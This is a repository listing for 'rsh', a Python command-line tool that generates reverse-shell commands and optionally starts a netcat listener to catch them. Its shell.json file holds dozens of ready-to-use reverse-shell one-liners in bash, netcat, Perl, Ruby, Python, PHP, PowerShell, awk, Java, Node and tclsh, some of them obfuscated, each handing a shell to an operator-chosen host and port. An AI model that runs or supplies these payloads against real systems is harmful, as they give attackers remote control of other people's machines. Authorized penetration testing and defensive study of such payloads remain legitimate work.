├── .gitignore ├── LICENSE ├── Readme.md ├── core ├── __init__.py ├── shell.json └── utils.py ├── images ├── ip-err.png ├── options.png ├── port-err.png └── rsh.png ├── requirements.txt └── rsh /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # PyCharm project settings 121 | .idea 122 | 123 | # mkdocs documentation 124 | /site 125 | 126 | # mypy 127 | .mypy_cache/ 128 | .dmypy.json 129 | dmypy.json 130 | 131 | # Pyre type checker 132 | .pyre/ -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | Search GTFObins from terminal 635 | Copyright (C) 2019 Mehtab Zafar 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | gtfo Copyright (C) 2019 Mehtab Zafar 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | Lic 676 | -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 |

rsh

2 | 3 | 4 | [![Python Versions](https://img.shields.io/badge/python-3.5|3.6|3.7|3.8-blue.svg)](https://www.python.org/downloads/) 5 | [![PEP8](https://img.shields.io/badge/code%20style-pep8-orange.svg)](https://www.python.org/dev/peps/pep-0008/) 6 | [![Contributors](https://img.shields.io/github/contributors/mzfr/rsh.svg)](https://github.com/mzfr/rsh/graphs/contributors) 7 | [![Issues](https://img.shields.io/github/issues/mzfr/rsh.svg)](https://github.com/mzfr/rsh/issues) 8 | [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0) 9 | [![Maintenance](https://img.shields.io/badge/Maintained%3F-yes-green.svg)](https://github.com/mzfr/rsh/graphs/commit-activity) 10 | 11 | ![rsh in action](images/rsh.png) 12 | 13 |

14 | Introduction • 15 | Usage • 16 | Installation • 17 | Gallery 18 |

19 | 20 | rsh is a tool purely written in Python 3 to easily a generate reverse shell command for Linux as well as Windows. 21 | 22 | ### Features 23 | 24 | This tools makes it easy for you to quickly generate reverse shell commands supported in both Linux and Windows, in the following languages: 25 | 26 | * bash 27 | - Bash reverse shell 28 | - netcat 29 | - netcat OpenBSD 30 | - nc.traditional 31 | * Python 32 | - IPv4 33 | - IPv6 34 | * Ruby 35 | * Perl 36 | * PHP 37 | * Powershell 38 | * Node.JS 39 | * TCLSH 40 | * Awk 41 | * Java 42 | 43 | ### Usage 44 | 45 | ``` 46 | usage: rsh [-h] [-sh SH] [-listen] lhost lport 47 | 48 | positional arguments: 49 | lhost Specify local host ip 50 | lport Specify a local port 51 | 52 | optional arguments: 53 | -h, --help show this help message and exit 54 | -sh SH Specify the language to generate the reverse shell 55 | -listen Spawn a netcat listener for this shell. 56 | ``` 57 | 58 | Using rsh is very simple. All you need to do is provide an IP and port and the type of shell that is to be generated: 59 | 60 | * `./rsh 192.168.56.1 4444 -sh bash` 61 | * `./rsh 192.168.56.1 4444 -sh php` 62 | * `./rsh 192.168.56.1 4444 -sh powershell` 63 | 64 | You can also automatically catch the reverse shell by starting a listener when you are done. This uses netcat and listens on the port you specified for your reverse shell 65 | * `./rsh 192.168.56.1 4444 -sh powershell -listen` 66 | 67 | ### Installation 68 | 69 | You need to have Python 3.5 or greater installed to run rsh. Both Linux and Windows are supported. 70 | Along with that rsh uses [pyfiglet](https://pypi.org/project/pyfiglet/) which you can install by running: 71 | 72 | ``` 73 | pip install -r requirements.txt 74 | ``` 75 | 76 | ### Gallery 77 | 78 | * __Getting bash command__ 79 | 80 | ![](images/rsh.png) 81 | 82 | * __Options__ 83 | 84 | ![](images/options.png) 85 | 86 | * __Wrong IP__ :smile: 87 | 88 | ![](images/ip-err.png) 89 | 90 | * __Wrong PORT__ :smile: 91 | 92 | ![](images/port-err.png) 93 | 94 | ### Contribution 95 | 96 | * Report a bug 97 | * Fix something and open a pull request 98 | * Add more reverse shells 99 | 100 | In any case feel free to open an issue 101 | 102 | ## Credits 103 | 104 | All the shell command are taken from [pentestmonkey](http://pentestmonkey.net/) 105 | 106 | ## License 107 | 108 | This project is licensed under the GPLv3 License - see the [LICENSE](LICENSE) file for details 109 | 110 | ## Support 111 | 112 | If you'd like you can buy me some coffee: 113 | 114 | Buy Me A Coffee 115 | -------------------------------------------------------------------------------- /core/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # This file is part of rsh which can be found at https://github.com/mzfr/rsh 3 | # See the file 'LICENSE' for copying permission. 4 | -------------------------------------------------------------------------------- /core/shell.json: -------------------------------------------------------------------------------- 1 | { 2 | "bash": [ 3 | "bash -i >& /dev/tcp/[IPADDR]/[PORT] 0>&1", 4 | "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IPADDR] [PORT] >/tmp/f", 5 | "nc.traditional -e /bin/bash [IPADDR] [PORT]", 6 | "0<&196;exec 196<>/dev/tcp/[IPADDR]/[PORT]; sh <&196 >&196 2>&196", 7 | "exec 5<> /dev/tcp/[IPADDR]/[PORT]; cat <&5 | while read line; do $line 2>&5>&5; done" 8 | ], 9 | "perl": [ 10 | "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"[IPADDR]:[PORT]\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'", 11 | "perl -e 'use Socket;$i=\"[IPADDR]\";$p=[PORT];socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'", 12 | "perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,\"[IPADDR]:[PORT]\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'" 13 | ], 14 | "ruby": [ 15 | "ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"[IPADDR]\",\"[PORT]\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'", 16 | "ruby -rsocket -e'f=TCPSocket.open(\"[IPADDR]\",[PORT]).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'", 17 | "ruby -rsocket -e 'c=TCPSocket.new(\"[IPADDR]\",\"[PORT]\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" 18 | ], 19 | "netcat": [ 20 | "nc -c /bin/sh [IPADDR] [PORT]", 21 | "nc -e /bin/sh [IPADDR] [PORT]", 22 | "/bin/sh | nc [IPADDR] [PORT]", 23 | "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IPADDR] [PORT] >/tmp/f", 24 | "rm -f /tmp/p; mknod /tmp/p p && nc [IPADDR] [PORT] 0/tmp/p", 25 | "ncat [IPADDR] [PORT] -e /bin/sh" 26 | ], 27 | "python": [ 28 | "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"[IPADDR]\",[PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", 29 | "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"[IPADDR]\",[PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/sh\")'", 30 | "C:\\Python27\\python.exe -c \"(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('[IPADDR]', [PORT])), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))\"" 31 | ], 32 | "php": [ 33 | "php -r '$sock=fsockopen(\"[IPADDR]\",[PORT]);exec(\"/bin/sh -i <&3 >&3 2>&3\");'", 34 | "php -r '$s=fsockopen(\"[IPADDR]\",[PORT]);shell_exec(\"/bin/sh -i <&3 >&3 2>&3\");'", 35 | "php -r '$s=fsockopen(\"[IPADDR]\",[PORT]);`/bin/sh -i <&3 >&3 2>&3`;'", 36 | "php -r '$s=fsockopen(\"[IPADDR]\",[PORT]);system(\"/bin/sh -i <&3 >&3 2>&3\");'", 37 | "php -r '$s=fsockopen(\"[IPADDR]\",[PORT]);popen(\"/bin/sh -i <&3 >&3 2>&3\", \"r\");'" 38 | ], 39 | "telnet": [ 40 | "rm -f /tmp/p; mknod /tmp/p p && telnet [IPADDR] [PORT] 0/tmp/p", 41 | "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet [IPADDR] [PORT] > /tmp/f" 42 | ], 43 | "powershell": [ 44 | "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('[IPADDR]',[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"" 45 | ], 46 | "awk": [ 47 | "awk 'BEGIN {s = \"/inet/tcp/0/[IPADDR]/[PORT]\"; while(42) { do{ printf \"shell>\" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != \"exit\") close(s); }}' /dev/null" 48 | ], 49 | "java": [ 50 | "r = Runtime.getRuntime();p = r.exec([\"/bin/sh\",\"-c\",\"exec 5<>/dev/tcp/[IPADDR]/[PORT];cat <&5 | while read line; do $line 2>&5 >&5; done\"] as String[]);p.waitFor();" 51 | ], 52 | "node": [ 53 | "(function(){var net=require(\"net\"),cp=require(\"child_process\"),sh=cp.spawn(\"/bin/sh\",[]);var client=new net.Socket();client.connect([PORT],\"[IPADDR]\",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();" 54 | ], 55 | "tclsh": [ 56 | "echo 'set s [socket [IPADDR] [PORT]];while 42 { puts -nonewline $s \"shell>\";flush $s;gets $s c;set e \"exec $c\";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh" 57 | ] 58 | } 59 | -------------------------------------------------------------------------------- /core/utils.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # This file is part of rsh which can be found at https://github.com/mzfr/rsh 3 | # See the file 'LICENSE' for copying permission. 4 | 5 | from urllib.parse import quote_plus, urlencode 6 | 7 | import socket 8 | import sys 9 | 10 | """Maximum allowed value for the port of the provided IP""" 11 | MAX_ALLOWED_PORT = 65536 12 | 13 | """Minimum allowed value for the port of the provided IP""" 14 | MIN_ALLOWED_PORT = 1 15 | 16 | def colors(string: str, color: str) -> None: 17 | """Make things colorfull 18 | 19 | Arguments: 20 | string {str} -- String to apply colors on 21 | color {int} -- value of color to apply 22 | """ 23 | print(f"\033[{color}m{string}\033[0m") 24 | 25 | 26 | def is_port_valid(port: str) -> bool: 27 | """Validate port number entered""" 28 | try: 29 | return MIN_ALLOWED_PORT < int(port) < MAX_ALLOWED_PORT 30 | except ValueError: 31 | return False 32 | 33 | 34 | def url_encode(cmd) -> str: 35 | """url_encodes the cmd provided""" 36 | try: 37 | return urlencode(cmd, quote_via=quote_plus) 38 | except Exception as error: 39 | print(f'[x] Error:"{error}"') 40 | sys.exit(0) 41 | 42 | 43 | def is_ip_valid(ip: str) -> bool: 44 | """validate ip provided""" 45 | try: 46 | if socket.inet_aton(ip): 47 | return True 48 | except socket.error: 49 | return False 50 | -------------------------------------------------------------------------------- /images/ip-err.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mzfr/rsh/fbf87b86c59301a8cc7e25764641dd862ccf5220/images/ip-err.png -------------------------------------------------------------------------------- /images/options.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mzfr/rsh/fbf87b86c59301a8cc7e25764641dd862ccf5220/images/options.png -------------------------------------------------------------------------------- /images/port-err.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mzfr/rsh/fbf87b86c59301a8cc7e25764641dd862ccf5220/images/port-err.png -------------------------------------------------------------------------------- /images/rsh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mzfr/rsh/fbf87b86c59301a8cc7e25764641dd862ccf5220/images/rsh.png -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pyfiglet==0.8.post1 -------------------------------------------------------------------------------- /rsh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # This file is part of rsh which can be found at https://github.com/mzfr/rsh 4 | # See the file 'LICENSE' for copying permission. 5 | 6 | from random import choice 7 | from os import system 8 | from core.utils import * 9 | from pyfiglet import figlet_format 10 | 11 | import argparse 12 | import json 13 | import signal 14 | import sys 15 | 16 | CHOICE = ['java', 'python', 'nc', 'ruby', 17 | 'bash', 'perl', 'php', 'telnet', 18 | 'powershell', 'awk', 'node', 'tclsh'] 19 | 20 | COLORS = [91, 92, 93, 94, 95, 96] 21 | 22 | 23 | def options() -> argparse.Namespace: 24 | """Generate `rsh` options""" 25 | parser = argparse.ArgumentParser() 26 | 27 | parser.add_argument('lhost', help='Specify local host ip') 28 | parser.add_argument('lport', default=8080, help="Specify a local port") 29 | parser.add_argument('-sh', help='Specify the language to generate the reverse shell', 30 | default='bash') 31 | 32 | parser.add_argument('-listen', help="Spawn a netcat listener for this shell.", action="store_true", 33 | default=False) 34 | 35 | parsed_args = parser.parse_args() 36 | 37 | return parsed_args 38 | 39 | 40 | def getcmd(shell: str, lhost: str, lport: str) -> None: 41 | """Generate the requested reverse shell command""" 42 | with open('core/shell.json', 'r') as f: 43 | data = json.load(f) 44 | 45 | for sh in data[shell]: 46 | cmd = sh.replace('[IPADDR]', lhost) 47 | cmd = cmd.replace('[PORT]', lport) 48 | colors(f'\n[+] {cmd}', choice(COLORS)) 49 | 50 | 51 | def signal_handler(signal, frame): 52 | colors('\n[!] Ctrl+C detected, terminating...', 91) 53 | sys.exit(1) 54 | 55 | 56 | def main(args): 57 | """`rsh` main""" 58 | # Register the signal handler for a more graceful Ctrl+C 59 | signal.signal(signal.SIGINT, signal_handler) 60 | 61 | # Fetch user arguments 62 | lhost = args.lhost 63 | lport = args.lport 64 | shell = args.sh 65 | listen = args.listen 66 | 67 | # Assert that the used IP address is valid 68 | if not is_ip_valid(lhost): 69 | colors('[!] Invalid IP given', 91) 70 | sys.exit(1) 71 | 72 | # Assert that the used port is valid 73 | if not is_port_valid(lport): 74 | colors(f'[!] Port must be in range {MIN_ALLOWED_PORT}-{MAX_ALLOWED_PORT}', 91) 75 | sys.exit(1) 76 | 77 | # Generate the requested shellc command 78 | colors(f'\n[~] Generating {shell} Shell for {lhost}{lport}', 93) 79 | 80 | if shell in CHOICE: 81 | getcmd(shell, lhost, lport) 82 | else: 83 | print('\nChoose from: \n') 84 | colors('\n'.join(CHOICE), 94) 85 | 86 | if listen: 87 | colors("\n[*] Press enter to start listening on port {}".format(lport), 94) 88 | input() 89 | 90 | colors("[~] Starting Netcat reverse Shell on port {PORT}".format(PORT=lport), 93) 91 | system("nc -lvnp {}".format(lport)) 92 | colors("[*] Reverse shell closed...", 93) 93 | 94 | 95 | if __name__ == "__main__": 96 | """`rsh` entrypoint""" 97 | colors(figlet_format('\t$ rsh', font='big'), 92) 98 | args = options() 99 | main(args) 100 | --------------------------------------------------------------------------------